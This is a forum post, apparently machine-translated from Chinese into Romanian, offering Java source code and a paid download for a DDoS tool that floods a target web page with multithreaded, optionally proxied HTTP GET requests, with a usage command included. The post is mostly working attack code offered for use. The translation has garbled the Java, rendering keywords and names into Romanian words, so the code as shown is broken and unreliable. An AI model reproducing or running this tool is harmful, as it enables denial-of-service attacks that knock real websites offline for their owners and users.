Cod jar Atac dDOS implementat de Java. Totuși, nu este diferit de dDos tradițional. Acest software este un atac DDOS asupra unei pagini. Cum să folosești: java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80
[mw_shl_code=java,true]import java.io.IOException; import java.net.ConnectException; import java.net.InetSocketAddress; import java.nio.ByteBuffer; import java.nio.channels.SelectionKey; import java.nio.channels.Selector; import java.nio.channels.SocketChannel; import java.util.Iterator; import java.util.Random; import java.util.Set; import java.util.Timer; import java.util.TimerTask; import java.util.Vector;
/** * Fire de demon
* * Administrația @author
* */ test public class { gazdă privată String, uri, param; port internațional privat; privat final Vector<CCDDOSThread> v = Vector nou<CCDDOSThread>(); privat InetSocketAddress isa; fire private intCount = 500; Numărul de fire private Random r = new Random(); timp lung privat = 5000L;
/** * Deschide atacul */ Public void start() { pentru (int i = 0; I < threadsCount; i++) { CCDDOSThread t = new CCDDOSThread(); v.add(t); t.start();
} Timer t = nou Timer(); t.schedule(new TimerTask() { public void run() { număr de informații = 0, timeoutthreads = 0; long ct = System.currentTimeMillis(); pentru (<CCDDOSThread>Iterator it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); dacă (th.isCancle() || !th.isAlive()) { it.remove(); th = nul; count++; } altfel dacă (ct - th.start > timeout) { Timeout, capăt extern timeoutthreads++; th.setCancle(adevărat); th.interrupt(); it.remove(); th = nul; count++; } } dacă (numărătoare == 0) { restitui; } System.out.println ("Thread a fost închis:"+count+", unde thread-ul de timeout este conectat:" + timeout-threads); pentru (int i = 0; < număr; i++) { CCDDOSThread th = noul CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println ("Thread demon început:"); }
/** * @param args */ public static void main(String[] args) { dacă (args.length < 6) { System.out.println("Instrucțiuni:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } altfel dacă (args.length >= 8) { Stabilește o relație cu un agent System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
Test m = test nou(); m.host = args[0]; m.port = Integer.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Integer.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = new InetSocketAddress(m.host, m.port); m.start(); }
/** * Fire de atac * * @author zhanghongbo * */ clasa CCDDOSThread extinde Thread { Cancle boolean privat = fals; public long start = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
public boolean isCancle() { Return Cancle; }
public void run() { start lung = System.currentTimeMillis(); Selector de selector; try { selector = Selector.open(); SocketChannel sc; try { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = adevărat; selector.close(); restitui; }
sc.configureBlocking(false); sc.register(selector, SelectionKey.OP_WRITE | SelectionKey.OP_READ); așteptă: în timp ce (selector.select() > 0 & !cancle) { if (System.currentTimeMillis() - start > timeout) { cancle = adevărat; pauză, așteaptă; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() && !cancle) { if (System.currentTimeMillis() - start > timeout) { cancle = adevărat; pauză, așteaptă; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Cap de coardă = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Gazdă: " + gazdă + "\r\n" + "Conexiune:aproape\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write (bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { cancle = adevărat; } } }
} [/mw_shl_code]
Descărcare produs final și cod sursă:
java ddos.zip
(8.42 KB, Numărul de descărcări: 0, Prețul de vânzare: 2 Grain MB)
|